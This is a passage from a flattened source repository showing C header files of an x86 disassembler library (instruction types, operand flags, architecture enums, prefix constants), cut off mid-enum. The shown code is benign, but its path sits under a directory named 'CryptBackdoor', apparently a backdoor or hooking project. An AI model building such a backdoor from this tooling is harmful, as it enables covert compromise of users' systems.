WARNING: 4 | // I wouldn't recommend changing any flags like OP_*, ITYPE_*, or *_MASK 5 | // aside from those marked as UNUSED. This is because the flags parts of 6 | // the flags are architecture independent and other are left to specific 7 | // architectures to define, so unless you understand the relationships 8 | // between them, I would leave them as is. 9 | 10 | #ifndef DISASM_H 11 | #define DISASM_H 12 | #ifdef __cplusplus 13 | extern "C" { 14 | #endif 15 | #include 16 | #include 17 | #include "misc.h" 18 | 19 | typedef signed char S8; 20 | typedef unsigned char U8; 21 | typedef signed short S16; 22 | typedef unsigned short U16; 23 | typedef signed long S32; 24 | typedef unsigned long U32; 25 | typedef LONG64 S64; 26 | typedef ULONG64 U64; 27 | 28 | #ifdef SPEEDY 29 | // On Visual Studio 6, making the internal functions inline makes compiling take forever 30 | #define INTERNAL static _inline 31 | #define INLINE _inline 32 | #else 33 | #define INTERNAL static 34 | #define INLINE 35 | #endif 36 | 37 | #define VALID_INSTRUCTION(i) ((i) && !((i)->ErrorOccurred)) 38 | #define NEXT_INSTRUCTION(i) ((i)->Address + (i)->Length) 39 | #define DISASM_ARCH_TYPE(dis) ((dis)->ArchType) 40 | #define INS_ARCH_TYPE(ins) DISASM_ARCH_TYPE((ins)->Disassembler) 41 | 42 | // NOTE: these should be as big set to the maximum of the supported architectures 43 | #define MAX_PREFIX_LENGTH 15 44 | #define MAX_OPERAND_COUNT 3 45 | #define MAX_INSTRUCTION_LENGTH 25 46 | #define MAX_OPCODE_LENGTH 3 47 | #define MAX_OPCODE_DESCRIPTION 256 48 | 49 | ///////////////////////////////////////////////////////////////////// 50 | // Code branch 51 | ///////////////////////////////////////////////////////////////////// 52 | 53 | #define MAX_CODE_REFERENCE_COUNT 3 54 | 55 | typedef struct _CODE_BRANCH 56 | { 57 | U64 Addresses[MAX_CODE_REFERENCE_COUNT]; // NULL if multiple to addresses 58 | U32 Count; 59 | U8 IsLoop : 1; 60 | U8 IsCall : 1; // branch if false 61 | U8 IsIndirect : 1; // call/jmp [Address] 62 | U8 AddressOffset: 5; 63 | struct _INSTRUCTION_OPERAND *Operand; // the operand containg the address 64 | } CODE_BRANCH; 65 | 66 | ///////////////////////////////////////////////////////////////////// 67 | // Data references 68 | ///////////////////////////////////////////////////////////////////// 69 | 70 | #define MAX_DATA_REFERENCE_COUNT 3 71 | 72 | typedef struct _DATA_REFERENCE 73 | { 74 | U64 Addresses[MAX_DATA_REFERENCE_COUNT]; // NULL if multiple to addresses 75 | U32 Count; 76 | ULONG_PTR DataSize; 77 | struct _INSTRUCTION_OPERAND *Operand; // the operand containg the address 78 | } DATA_REFERENCE; 79 | 80 | //////////////////////////////////////////////////////////////////// 81 | // Instruction 82 | ///////////////////////////////////////////////////////////////////// 83 | 84 | // 85 | // Instruction types (bits 0-7) 86 | // Instruction groups (bits 8-26) 87 | // 88 | #define ITYPE_EXEC_OFFSET (1<<8) 89 | #define ITYPE_ARITH_OFFSET (1<<9) 90 | #define ITYPE_LOGIC_OFFSET (1<<10) 91 | #define ITYPE_STACK_OFFSET (1<<11) 92 | #define ITYPE_TESTCOND_OFFSET (1<<12) 93 | #define ITYPE_LOAD_OFFSET (1<<13) 94 | #define ITYPE_ARRAY_OFFSET (1<<14) 95 | #define ITYPE_BIT_OFFSET (1<<15) 96 | #define ITYPE_FLAG_OFFSET (1<<16) 97 | #define ITYPE_FPU_OFFSET (1<<17) 98 | #define ITYPE_TRAPS_OFFSET (1<<18) 99 | #define ITYPE_SYSTEM_OFFSET (1<<19) 100 | #define ITYPE_OTHER_OFFSET (1<<20) 101 | #define ITYPE_UNUSED1_OFFSET (1<<21) 102 | #define ITYPE_UNUSED2_OFFSET (1<<22) 103 | #define ITYPE_UNUSED3_OFFSET (1<<23) 104 | #define ITYPE_UNUSED4_OFFSET (1<<24) 105 | #define ITYPE_UNUSED5_OFFSET (1<<25) 106 | #define ITYPE_UNUSED6_OFFSET (1<<26) 107 | #define ITYPE_EXT_UNUSED1 (1<<27) 108 | #define ITYPE_EXT_UNUSED2 (1<<28) 109 | #define ITYPE_EXT_UNUSED3 (1<<29) 110 | #define ITYPE_EXT_UNUSED4 (1<<30) 111 | #define ITYPE_EXT_UNUSED5 (1<<31) 112 | 113 | // 114 | // X86-specific flags (bits 27-31) 115 | // 116 | 117 | #define ITYPE_EXT_64 ITYPE_EXT_UNUSED1 // Use index 1 if in 64-bit mode and 0 otherwise 118 | #define ITYPE_EXT_MODRM ITYPE_EXT_UNUSED2 // ModRM byte may extend the opcode 119 | #define ITYPE_EXT_SUFFIX ITYPE_EXT_UNUSED3 // byte after ModRM/SIB/displacement is the third opcode 120 | #define ITYPE_EXT_PREFIX ITYPE_EXT_UNUSED4 // prefix 121 | #define ITYPE_EXT_FPU ITYPE_EXT_UNUSED5 // FPU instructions require special handling 122 | 123 | #define ITYPE_3DNOW_OFFSET ITYPE_UNUSED1_OFFSET 124 | #define ITYPE_MMX_OFFSET ITYPE_UNUSED2_OFFSET 125 | #define ITYPE_SSE_OFFSET ITYPE_UNUSED3_OFFSET 126 | #define ITYPE_SSE2_OFFSET ITYPE_UNUSED4_OFFSET 127 | #define ITYPE_SSE3_OFFSET ITYPE_UNUSED5_OFFSET 128 | 129 | // 130 | // Instruction types 131 | // 132 | 133 | #define ITYPE_TYPE_MASK 0x7FFFFFFF 134 | #define ITYPE_GROUP_MASK 0x7FFFFF00 135 | 136 | typedef enum _INSTRUCTION_TYPE 137 | { 138 | // ITYPE_EXEC group 139 | ITYPE_EXEC = ITYPE_EXEC_OFFSET, 140 | ITYPE_BRANCH, 141 | ITYPE_BRANCHCC, // conditional (not necessarily just flags) 142 | ITYPE_CALL, 143 | ITYPE_CALLCC, // conditional (not necessarily just flags) 144 | ITYPE_RET, 145 | ITYPE_LOOPCC, 146 | 147 | // ITYPE_ARITH group 148 | ITYPE_ARITH = ITYPE_ARITH_OFFSET, 149 | ITYPE_XCHGADD, 150 | ITYPE_ADD, 151 | ITYPE_SUB, 152 | ITYPE_MUL, 153 | ITYPE_DIV, 154 | ITYPE_INC, 155 | ITYPE_DEC, 156 | ITYPE_SHL, 157 | ITYPE_SHR, 158 | ITYPE_ROL, 159 | ITYPE_ROR, 160 | 161 | // ITYPE_LOGIC group 162 | ITYPE_LOGIC=ITYPE_LOGIC_OFFSET, 163 | ITYPE_AND, 164 | ITYPE_OR, 165 | ITYPE_XOR, 166 | ITYPE_NOT, 167 | ITYPE_NEG, 168 | 169 | // ITYPE_STACK group 170 | ITYPE_STACK=ITYPE_STACK_OFFSET, 171 | ITYPE_PUSH, 172 | ITYPE_POP, 173 | ITYPE_PUSHA, 174 | ITYPE_POPA, 175 | ITYPE_PUSHF, 176 | ITYPE_POPF, 177 | ITYPE_ENTER, 178 | ITYPE_LEAVE, 179 | 180 | // ITYPE_TESTCOND group 181 | ITYPE_TESTCOND=ITYPE_TESTCOND_OFFSET, 182 | ITYPE_TEST, 183 | ITYPE_CMP, 184 | 185 | // ITYPE_LOAD group 186 | ITYPE_LOAD=ITYPE_LOAD_OFFSET, 187 | ITYPE_MOV, 188 | ITYPE_MOVCC, // conditional 189 | ITYPE_LEA, 190 | ITYPE_XCHG, 191 | ITYPE_XCHGCC, // conditional 192 | 193 | // ITYPE_ARRAY group 194 | ITYPE_ARRAY=ITYPE_ARRAY_OFFSET, 195 | ITYPE_STRCMP, 196 | ITYPE_STRLOAD, 197 | ITYPE_STRMOV, 198 | ITYPE_STRSTOR, 199 | ITYPE_XLAT, 200 | 201 | // ITYPE_BIT group 202 | ITYPE_BIT=ITYPE_BIT_OFFSET, 203 | ITYPE_BITTEST, 204 | ITYPE_BITSET, 205 | ITYPE_BITCLR, 206 | 207 | // ITYPE_FLAG group 208 | // PF = parify flag 209 | // ZF = zero flag 210 | // OF = overflow flag 211 | // DF = direction flag 212 | // SF = sign flag 213 | ITYPE_FLAG=ITYPE_FLAG_OFFSET, 214 | // clear 215 | ITYPE_CLEARCF, 216 | ITYPE_CLEARZF, 217 | ITYPE_CLEAROF, 218 | ITYPE_CLEARDF, 219 | ITYPE_CLEARSF, 220 | ITYPE_CLEARPF, 221 | // set 222 | ITYPE_SETCF, 223 | ITYPE_SETZF, 224 | ITYPE_SETOF, 225 | ITYPE_SETDF, 226 | ITYPE_SETSF, 227 | ITYPE_SETPF, 228 | // toggle 229 | ITYPE_TOGCF, 230 | ITYPE_TOGZF, 231 | ITYPE_TOGOF, 232 | ITYPE_TOGDF, 233 | ITYPE_TOGSF, 234 | ITYPE_TOGPF, 235 | 236 | // ITYPE_FPU group 237 | ITYPE_FPU=ITYPE_FPU_OFFSET, 238 | ITYPE_FADD, 239 | ITYPE_FSUB, 240 | ITYPE_FMUL, 241 | ITYPE_FDIV, 242 | ITYPE_FCOMP, 243 | ITYPE_FEXCH, 244 | ITYPE_FLOAD, 245 | ITYPE_FLOADENV, 246 | ITYPE_FSTORE, 247 | ITYPE_FSTOREENV, 248 | ITYPE_FSAVE, 249 | ITYPE_FRESTORE, 250 | ITYPE_FMOVCC, 251 | 252 | ITYPE_UNUSED1=ITYPE_UNUSED1_OFFSET, 253 | ITYPE_UNUSED2=ITYPE_UNUSED2_OFFSET, 254 | ITYPE_UNUSED3=ITYPE_UNUSED3_OFFSET, 255 | 256 | // ITYPE_MMX group 257 | ITYPE_MMX=ITYPE_MMX_OFFSET, 258 | ITYPE_MMX_MOV, 259 | ITYPE_MMX_ADD, 260 | ITYPE_MMX_SUB, 261 | ITYPE_MMX_MUL, 262 | ITYPE_MMX_DIV, 263 | ITYPE_MMX_AND, 264 | ITYPE_MMX_OR, 265 | ITYPE_MMX_XOR, 266 | ITYPE_MMX_CMP, 267 | 268 | // ITYPE_SSE group 269 | ITYPE_SSE=ITYPE_SSE_OFFSET, 270 | ITYPE_SSE_MOV, 271 | ITYPE_SSE_ADD, 272 | ITYPE_SSE_SUB, 273 | ITYPE_SSE_MUL, 274 | ITYPE_SSE_DIV, 275 | ITYPE_SSE_AND, 276 | ITYPE_SSE_OR, 277 | ITYPE_SSE_XOR, 278 | ITYPE_SSE_CMP, 279 | 280 | // ITYPE_SSE2 group 281 | ITYPE_SSE2=ITYPE_SSE2_OFFSET, 282 | ITYPE_SSE2_MOV, 283 | ITYPE_SSE2_ADD, 284 | ITYPE_SSE2_SUB, 285 | ITYPE_SSE2_MUL, 286 | ITYPE_SSE2_DIV, 287 | ITYPE_SSE2_AND, 288 | ITYPE_SSE2_OR, 289 | ITYPE_SSE2_XOR, 290 | ITYPE_SSE2_CMP, 291 | 292 | // ITYPE_SSE3 group 293 | ITYPE_SSE3=ITYPE_SSE3_OFFSET, 294 | ITYPE_SSE3_MOV, 295 | ITYPE_SSE3_ADD, 296 | ITYPE_SSE3_SUB, 297 | ITYPE_SSE3_MUL, 298 | ITYPE_SSE3_DIV, 299 | ITYPE_SSE3_AND, 300 | ITYPE_SSE3_OR, 301 | ITYPE_SSE3_XOR, 302 | ITYPE_SSE3_CMP, 303 | 304 | // ITYPE_3DNOW group 305 | ITYPE_3DNOW=ITYPE_3DNOW_OFFSET, 306 | ITYPE_3DNOW_ADD, 307 | ITYPE_3DNOW_SUB, 308 | ITYPE_3DNOW_MUL, 309 | ITYPE_3DNOW_DIV, 310 | ITYPE_3DNOW_CMP, 311 | ITYPE_3DNOW_XCHG, 312 | 313 | // ITYPE_TRAP 314 | ITYPE_TRAPS=ITYPE_TRAPS_OFFSET, 315 | ITYPE_TRAP, // generate trap 316 | ITYPE_TRAPCC, // conditional trap gen 317 | ITYPE_TRAPRET, // return from trap 318 | ITYPE_BOUNDS, // gen bounds trap 319 | ITYPE_DEBUG, // gen breakpoint trap 320 | ITYPE_TRACE, // gen single step trap 321 | ITYPE_INVALID, // gen invalid instruction 322 | ITYPE_OFLOW, // gen overflow trap 323 | 324 | // ITYPE_SYSTEM group 325 | ITYPE_SYSTEM=ITYPE_SYSTEM_OFFSET, 326 | ITYPE_HALT, // halt machine 327 | ITYPE_IN, // input form port 328 | ITYPE_OUT, // output to port 329 | ITYPE_CPUID, // identify cpu 330 | ITYPE_SETIF, // allow interrupts 331 | ITYPE_CLEARIF, // block interrupts 332 | ITYPE_SYSCALL, 333 | ITYPE_SYSCALLRET, 334 | 335 | // ITYPE_OTHER group 336 | ITYPE_OTHER = ITYPE_OTHER_OFFSET, 337 | ITYPE_NOP, 338 | ITYPE_BCDCONV, // convert to/from BCD 339 | ITYPE_SZCONV // convert size of operand 340 | } INSTRUCTION_TYPE; 341 | 342 | // 343 | // Operand flags 344 | // 345 | 346 | // Type = bits 0-6 (these are mutually exclusive -- bits 0-6 will always be a power of 2)) 347 | #define OPTYPE_NONE 0x00 348 | #define OPTYPE_IMM 0x01 // immediate value 349 | #define OPTYPE_OFFSET 0x02 // relative offset 350 | #define OPTYPE_FLOAT 0x03 // floating point 351 | #define OPTYPE_BCD 0x04 352 | #define OPTYPE_STRING 0x05 353 | #define OPTYPE_SPECIAL 0x06 354 | #define OPTYPE_MASK 0x7F 355 | 356 | // Flags = bits 7-23 (these can be combinations) 357 | // These are used in the X86 opcode table 358 | #define OP_REG (1<<7) // 0x80 359 | #define OP_SIGNED (1<<8) 360 | #define OP_SYS (1<<9) // parameter is an index into some system structure 361 | #define OP_CONDR (1<<10) 362 | #define OP_CONDW (1<<11) 363 | #define OP_UNUSED (1<<12) 364 | #define OP_SRC (1<<13) // operand is source operand 365 | #define OP_DST (1<<14) // operand is destination operand 366 | #define OP_EXEC (1<<15) // operand is executed 367 | 368 | #define OP_CONDE OP_CONDR 369 | #define OP_COND_EXEC (OP_CONDE|OP_EXEC) // executed only if the pre-conditions are met 370 | #define OP_COND_SRC (OP_CONDR|OP_SRC) // set only if pre-conditions are met 371 | #define OP_COND_DST (OP_CONDW|OP_DST) // set only if pre-conditions are met 372 | #define OP_COND (OP_CONDR|OP_CONDW) 373 | 374 | // Bits 16-31 are available for use outside of the opcode table, but they can only 375 | // be used in INSTRUCTION_OPERAND.Flags, they may conflit with the architecture specific 376 | // operands. For example, bits 16-31 are used in X86 for AMODE_* and OPTYPE_* 377 | #define OP_ADDRESS (1<<16) 378 | #define OP_LOCAL (1<<17) 379 | #define OP_PARAM (1<<18) 380 | #define OP_GLOBAL (1<<19) 381 | #define OP_FAR (1<<20) 382 | #define OP_IPREL (1<<21) 383 | 384 | // 385 | // X86-specific flags (bits 27-31) 386 | // 387 | #define OP_MSR (OP_SYS|OP_UNUSED) 388 | 389 | // 390 | // Other architecture flags 391 | // 392 | #define OP_DELAY OP_UNUSED // delayed instruction (e.g., delayed branch that executes after the next instruction) 393 | 394 | ///////////////////////////////////////////////////////////////////// 395 | // Architectures 396 | ///////////////////////////////////////////////////////////////////// 397 | 398 | typedef enum _ARCHITECTURE_TYPE 399 | { 400 | ARCH_UNKNOWN=0, 401 | 402 | // x86-based 403 | ARCH_X86, // 32-bit x86 404 | ARCH_X86_16, // 16-bit x86 405 | ARCH_X64, // AMD64 and Intel EMD64 406 | 407 | // everything else 408 | ARCH_ALPHA, 409 | ARCH_ARM, 410 | ARCH_DOTNET, 411 | ARCH_EFI, 412 | ARCH_IA64, 413 | ARCH_M68K, 414 | ARCH_MIPS, 415 | ARCH_PPC, 416 | ARCH_SH3, 417 | ARCH_SH4, 418 | ARCH_SPARC, 419 | ARCH_THUMB 420 | 421 | } ARCHITECTURE_TYPE; 422 | 423 | struct _INSTRUCTION; 424 | 425 | typedef BOOL (*INIT_INSTRUCTION)(struct _INSTRUCTION *Instruction); 426 | typedef void (*DUMP_INSTRUCTION)(struct _INSTRUCTION *Instruction, BOOL ShowBytes, BOOL Verbose); 427 | typedef BOOL (*GET_INSTRUCTION)(struct _INSTRUCTION *Instruction, U8 *Address, U32 Flags); 428 | typedef U8 *(*FIND_FUNCTION_BY_PROLOGUE)(struct _INSTRUCTION *Instruction, U8 *StartAddress, U8 *EndAddress, U32 Flags); 429 | 430 | typedef struct _ARCHITECTURE_FORMAT_FUNCTIONS 431 | { 432 | INIT_INSTRUCTION InitInstruction; 433 | DUMP_INSTRUCTION DumpInstruction; 434 | GET_INSTRUCTION GetInstruction; 435 | FIND_FUNCTION_BY_PROLOGUE FindFunctionByPrologue; 436 | } ARCHITECTURE_FORMAT_FUNCTIONS; 437 | 438 | typedef struct _ARCHITECTURE_FORMAT 439 | { 440 | ARCHITECTURE_TYPE Type; 441 | ARCHITECTURE_FORMAT_FUNCTIONS *Functions; 442 | } ARCHITECTURE_FORMAT; 443 | 444 | #define DISASSEMBLER_INITIALIZED 0x1234566F 445 | #define INSTRUCTION_INITIALIZED 0x1234567F 446 | 447 | #include "disasm_x86.h" 448 | 449 | typedef struct DECLSPEC_ALIGN(16) _S128 450 | { 451 | U64 Low; 452 | S64 High; 453 | } S128; 454 | typedef struct DECLSPEC_ALIGN(16) _U128 455 | { 456 | U64 Low; 457 | U64 High; 458 | } U128; 459 | 460 | typedef struct _INSTRUCTION_OPERAND 461 | { 462 | U32 Flags; 463 | U8 Type : 6; 464 | U8 Unused : 2; 465 | U16 Length; 466 | 467 | 468 | // If non-NULL, this indicates the target address of the instruction (e.g., a branch or 469 | // a displacement with no base register). However, this address is only reliable if the 470 | // image is mapped correctly (e.g., the executable is mapped as an image and fixups have 471 | // been applied if it is not at its preferred image base). 472 | // 473 | // If disassembling a 16-bit DOS application, TargetAddress is in the context of 474 | // X86Instruction->Segment. For example, if TargetAddress is the address of a code branch, 475 | // it is in the CS segment (unless X86Instruction->HasSegmentOverridePrefix is set). If 476 | // TargetAddress is a data pointer, it is in the DS segment (unless 477 | // X86Instruction->HasSegmentOverridePrefix is set) 478 | U64 TargetAddress; 479 | U32 Register; 480 | 481 | union 482 | { 483 | // All 8/16/32-bit operands are extended to 64-bits automatically 484 | // If you want to downcast, check whether Flags & OP_SIGNED is set 485 | // Like this: 486 | // U32 GetOperand32(OPERAND *Operand) 487 | // { 488 | // if (Operand->Flags & OP_SIGNED) return (S32)Operand->Value_S64; 489 | // else return (U32)Operand->Value_U64; 490 | //} 491 | U64 Value_U64; 492 | S64 Value_S64; 493 | U128 Value_U128; 494 | U128 Float128; 495 | U8 Float80[80]; 496 | U8 BCD[10]; 497 | }; 498 | } INSTRUCTION_OPERAND; 499 | 500 | typedef struct _INSTRUCTION 501 | { 502 | U32 Initialized; 503 | struct _DISASSEMBLER *Disassembler; 504 | 505 | char String[MAX_OPCODE_DESCRIPTION]; 506 | U8 StringIndex; 507 | U64 VirtualAddressDelta; 508 | 509 | U32 Groups; // ITYPE_EXEC, ITYPE_ARITH, etc. -- NOTE groups can be OR'd together 510 | INSTRUCTION_TYPE Type; // ITYPE_ADD, ITYPE_RET, etc. -- NOTE there is only one possible type 511 | 512 | U8 *Address; 513 | U8 *OpcodeAddress; 514 | U32 Length; 515 | 516 | U8 Prefixes[MAX_PREFIX_LENGTH]; 517 | U32 PrefixCount; 518 | 519 | U8 LastOpcode; // last byte of opcode 520 | U8 OpcodeBytes[MAX_OPCODE_LENGTH]; 521 | U32 OpcodeLength; // excludes any operands and prefixes 522 | 523 | INSTRUCTION_OPERAND Operands[MAX_OPERAND_COUNT]; 524 | U32 OperandCount; 525 | 526 | X86_INSTRUCTION X86; 527 | 528 | DATA_REFERENCE DataSrc; 529 | DATA_REFERENCE DataDst; 530 | CODE_BRANCH CodeBranch; 531 | 532 | // Direction depends on which direction the stack grows 533 | // For example, on x86 a push results in StackChange < 0 since the stack grows down 534 | // This is only relevant if (Group & ITYPE_STACK) is true 535 | // 536 | // If Groups & ITYPE_STACK is set but StackChange = 0, it means that the change 537 | // couldn't be determined (non-constant) 538 | LONG StackChange; 539 | 540 | // Used to assist in debugging 541 | // If set, the current instruction is doing something that requires special handling 542 | // For example, popf can cause tracing to be disabled 543 | 544 | U8 StringAligned : 1; // internal only 545 | U8 NeedsEmulation : 1; // instruction does something that re 546 | U8 Repeat : 1; // instruction repeats until some condition is met (e.g., REP prefix on X86) 547 | U8 ErrorOccurred : 1; // set if instruction is invalid 548 | U8 AnomalyOccurred : 1; // set if instruction is anomalous 549 | U8 LastInstruction : 1; // tells the iterator callback it is the last instruction 550 | U8 CodeBlockFirst: 1; 551 | U8 CodeBlockLast : 1; 552 | } INSTRUCTION; 553 | 554 | typedef struct _DISASSEMBLER 555 | { 556 | U32 Initialized; 557 | ARCHITECTURE_TYPE ArchType; 558 | ARCHITECTURE_FORMAT_FUNCTIONS *Functions; 559 | INSTRUCTION Instruction; 560 | U32 Stage1Count; // GetInstruction called 561 | U32 Stage2Count; // Opcode fully decoded 562 | U32 Stage3CountNoDecode; // made it through all checks when DISASM_DECODE is not set 563 | U32 Stage3CountWithDecode; // made it through all checks when DISASM_DECODE is set 564 | } DISASSEMBLER; 565 | 566 | #define DISASM_DISASSEMBLE (1<<1) 567 | #define DISASM_DECODE (1<<2) 568 | #define DISASM_SUPPRESSERRORS (1<<3) 569 | #define DISASM_SHOWFLAGS (1<<4) 570 | #define DISASM_ALIGNOUTPUT (1<<5) 571 | #define DISASM_DISASSEMBLE_MASK (DISASM_ALIGNOUTPUT|DISASM_SHOWBYTES|DISASM_DISASSEMBLE) 572 | 573 | BOOL InitDisassembler(DISASSEMBLER *Disassembler, ARCHITECTURE_TYPE Architecture); 574 | void CloseDisassembler(DISASSEMBLER *Disassembler); 575 | INSTRUCTION *GetInstruction(DISASSEMBLER *Disassembler, U64 VirtualAddress, U8 *Address, U32 Flags); 576 | 577 | #ifdef __cplusplus 578 | } 579 | #endif 580 | #endif // DISASM_H 581 | -------------------------------------------------------------------------------- /CryptBackdoor/disasm-lib/disasm_x86.h: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2004, Matt Conover (mconover@gmail.com) 2 | #ifndef X86_DISASM_H 3 | #define X86_DISASM_H 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif 7 | 8 | // NOTE: the processor may actually accept less than this amount (officially 15) 9 | // #define AMD64_MAX_INSTRUCTION_LEN 15 // theoretical max 25=5+2+1+1+8+8 10 | #define AMD64_MAX_PREFIX_LENGTH 5 // 4 legacy + 1 rex 11 | #define AMD64_MAX_ADDRESS_LENGTH 18 // modrm + sib + 8 byte displacement + 8 byte immediate value 12 | 13 | // NOTE: the processor may actually accept less than this amount (officially 15) 14 | #define X86_MAX_INSTRUCTION_LEN 15 // theoretical 16=4+2+1+1+4+4 15 | #define X86_MAX_PREFIX_LENGTH 4 16 | #define X86_MAX_OPCODE_LENGTH 3 // third byte is either a suffix or prefix 17 | #define X86_MAX_ADDRESS_LENGTH 10 // modrm + sib + 4 byte displacement + 4 byte immediate value 18 | #define X86_MAX_OPERANDS 3 19 | 20 | #define X86_PREFIX(a) ((a)->MnemonicFlags == ITYPE_EXT_PREFIX) 21 | #define X86_SPECIAL_EXTENSION(a) ((a)->MnemonicFlags & (ITYPE_EXT_MODRM|ITYPE_EXT_FPU|ITYPE_EXT_SUFFIX|ITYPE_EXT_64)) 22 | #define X86_EXTENDED_OPCODE(a) ((a)->Table) 23 | #define X86_INVALID(a) (!(a)->MnemonicFlags && !(a)->Table) 24 | #define X86_OPERAND_COUNT(a) ((a)->OperandFlags[0] ? ((a)->OperandFlags[1] ? ((a)->OperandFlags[2] ? 3 : 2) : 1) : 0) 25 | #define X86_GET_CATEGORY(p) ((p)->MnemonicFlags & ITYPE_GROUP_MASK) 26 | #define X86_GET_TYPE(p) ((p)->MnemonicFlags & ITYPE_TYPE_MASK) 27 | 28 | // Various instructions being specially decoded 29 | #define X86_TWO_BYTE_OPCODE 0x0f 30 | #define PREFIX_SEGMENT_OVERRIDE_ES 0x26 31 | #define PREFIX_SEGMENT_OVERRIDE_CS 0x2e 32 | #define PREFIX_BRANCH_NOT_TAKEN 0x2e // used only with conditional jumps 33 | #define PREFIX_SEGMENT_OVERRIDE_SS 0x36 34 | #define PREFIX_SEGMENT_OVERRIDE_DS 0x3e 35 | #define PREFIX_BRANCH_TAKEN 0x3e // used only with conditional jumps 36 | #define PREFIX_SEGMENT_OVERRIDE_FS 0x64 37 | #define PREFIX_SEGMENT_OVERRIDE_GS 0x65 38 | #define PREFIX_OPERAND_SIZE 0x66 39 | #define PREFIX_ADDRESS_SIZE 0x67 40 | #define PREFIX_LOCK 0xf0 41 | #define PREFIX_REPNE 0xf2 42 | #define PREFIX_REP 0xf3 43 | 44 | ////////////////////////////////////////////////////////////////// 45 | // Implicit operand handling 46 | ////////////////////////////////////////////////////////////////// 47 | 48 | #define X86_AMODE_MASK 0x00FF0000 // bits 16-23 (AMODE_*) 49 | #define X86_OPFLAGS_MASK 0x0000FF80 // bits 7-15 (OPTYPE_*) 50 | #define X86_OPTYPE_MASK 0xFF0000FF // bits 0-7 (OPTYPE_* below + OP_REG) and 24-31 (OPTYPE_* above) 51 | 52 | #define OPTYPE_0 0x01 53 | #define OPTYPE_1 0x02 54 | #define OPTYPE_FF 0x03 55 | //... 56 | #define OPTYPE_CS 0x10 57 | #define OPTYPE_DS 0x11 58 | #define OPTYPE_ES 0x12 59 | #define OPTYPE_FS 0x13 60 | #define OPTYPE_GS 0x14 61 | #define OPTYPE_SS 0x15 62 | #define OPTYPE_CR0 0x16 63 | #define OPTYPE_TSC 0x17 // time stamp counter 64 | //... 65 | #define OPTYPE_FLAGS 0x20 66 | #define OPTYPE_xFLAGS 0x21 // RFLAGS/EFLAGS (depending on operand size) 67 | #define OPTYPE_xCX_HI_xBX_LO 0x22 // represented by 2 registers CX:BX or ECX:EBX (depending on operand size) 68 | #define OPTYPE_xDX_HI_xAX_LO 0x23 // DX:AX or EDX:EAX (depending on operand size) 69 | #define OPTYPE_EDX_HI_EAX_LO 0x24 // DX:AX or EDX:EAX (depending on operand size) 70 | #define OPTYPE_EDX_ECX_EBX_EAX 0x25 // all registers are set 71 | //... 72 | #define OPTYPE_STx 0x30 73 | #define OPTYPE_ST0 0x31 74 | #define OPTYPE_ST1 0x32 75 | #define OPTYPE_FPU_STATUS 0x33 76 | #define OPTYPE_FPU_CONTROL 0x34 77 | #define OPTYPE_FPU_TAG 0x35 78 | #define OPTYPE_FLDZ 0x36 // 0 79 | #define OPTYPE_FLD1 0x37 // 1 80 | #define OPTYPE_FLDPI 0x38 // pi 81 | #define OPTYPE_FLDL2T 0x39 // lg 10 82 | #define OPTYPE_FLDL2E 0x3A // lg e 83 | #define OPTYPE_FLDLG2 0x3B // log_10 2 84 | #define OPTYPE_FLDLN2 0x3C // log_e 2 85 | //... 86 | #define OPTYPE_CS_MSR 0x40 87 | #define OPTYPE_EIP_MSR 0x41 88 | #define OPTYPE_ESP_MSR 0x42 89 | #define OPTYPE_KERNELBASE_MSR 0x43 90 | #define OPTYPE_FMASK_MSR 0x44 91 | #define OPTYPE_STAR_MSR 0x45 92 | #define OPTYPE_CSTAR_MSR 0x46 // 32-bit mode 93 | #define OPTYPE_LSTAR_MSR 0x47 // 64-bit mode 94 | 95 | 96 | // NOTE: OPTYPES >= 0x80 reserved for registers (OP_REG+XX) 97 | #define OPTYPE_REG_AL OP_REG+0x01 98 | #define OPTYPE_REG_CL OP_REG+0x02 99 | #define OPTYPE_REG_AH OP_REG+0x03 100 | #define OPTYPE_REG_AX OP_REG+0x04 101 | #define OPTYPE_REG_DX OP_REG+0x05 102 | #define OPTYPE_REG_ECX OP_REG+0x06 103 | #define OPTYPE_REG8 OP_REG+0x07 104 | 105 | // If address size is 2, use BP 106 | // If address size is 4, use EBP 107 | // If address size is 8, use RBP 108 | #define OPTYPE_REG_xBP OP_REG+0x08 109 | 110 | // If address size is 2, use BP 111 | // If address size is 4, use EBP 112 | // If address size is 8, use RBP 113 | #define OPTYPE_REG_xSP OP_REG+0x09 114 | 115 | // If operand size is 2, take 8-bit register 116 | // If operand size is 4, take 16-bit register 117 | // If operand size is 8, take 32-bit register 118 | #define OPTYPE_REG_xAX_SMALL OP_REG+0x0a 119 | 120 | // If operand size is 2, take 16-bit register 121 | // If operand size is 4, take 32-bit register 122 | // If operand size is 8, take 64-bit register 123 | #define OPTYPE_REG_xAX_BIG OP_REG+0x0b 124 | 125 | typedef enum _CPU_TYPE 126 | { 127 | CPU_UNKNOWN=0, 128 | 129 | /////////////////////////////////////// 130 | // 1st generation 131 | /////////////////////////////////////// 132 | // 1978 133 | //CPU_8086 = 1MB address limit, 16-bit registers 134 | // 1982 135 | //CPU_i186 136 | 137 | /////////////////////////////////////// 138 | // 2nd generation 139 | /////////////////////////////////////// 140 | // 1982 141 | //CPU_I286 // 16MB limit, 16-bit registers, added protected mode 142 | CPU_I287, // CPU_I286 + math coprocessor 143 | 144 | /////////////////////////////////////// 145 | // 3rd generation 146 | /////////////////////////////////////// 147 | // 1985 148 | CPU_I386, // 32-bit registers, 4GB memory limit 149 | // 1988 150 | CPU_I387, // CPU_I386 + math coprocessor 151 | 152 | /////////////////////////////////////// 153 | // 4th generation (1989) 154 | /////////////////////////////////////// 155 | CPU_I486, 156 | 157 | /////////////////////////////////////// 158 | // 5th generation 159 | /////////////////////////////////////// 160 | // 1993 161 | CPU_PENTIUM, // superscalar architecture 162 | // 1997 163 | //CPU_PENTIUM_MMX 164 | 165 | /////////////////////////////////////// 166 | // 6th generation (1995) 167 | /////////////////////////////////////// 168 | CPU_PENTIUM_PRO, // P6 architecture, no MMX, out-of-order execution, speculative execution 169 | //CPU_CYRIX_6X86, 170 | //CPU_AMD_K5 // RISC processor 171 | // 1997 172 | CPU_PENTIUM2, // Pentium Pro architecture + MMX 173 | //CPU_AMD_K6, 174 | //CPU_CYRIX_6X86MX, // Cyrix 6x86 + MMX 175 | // 1998 176 | CPU_AMD_K6_2, // added 3DNow! (MMX) 177 | // 1999 178 | // CPU_AMD_K6_3 // added SSE 179 | 180 | /////////////////////////////////////// 181 | // 7th generation 182 | /////////////////////////////////////// 183 | // 1999 184 | CPU_PENTIUM3, // introduced SSE 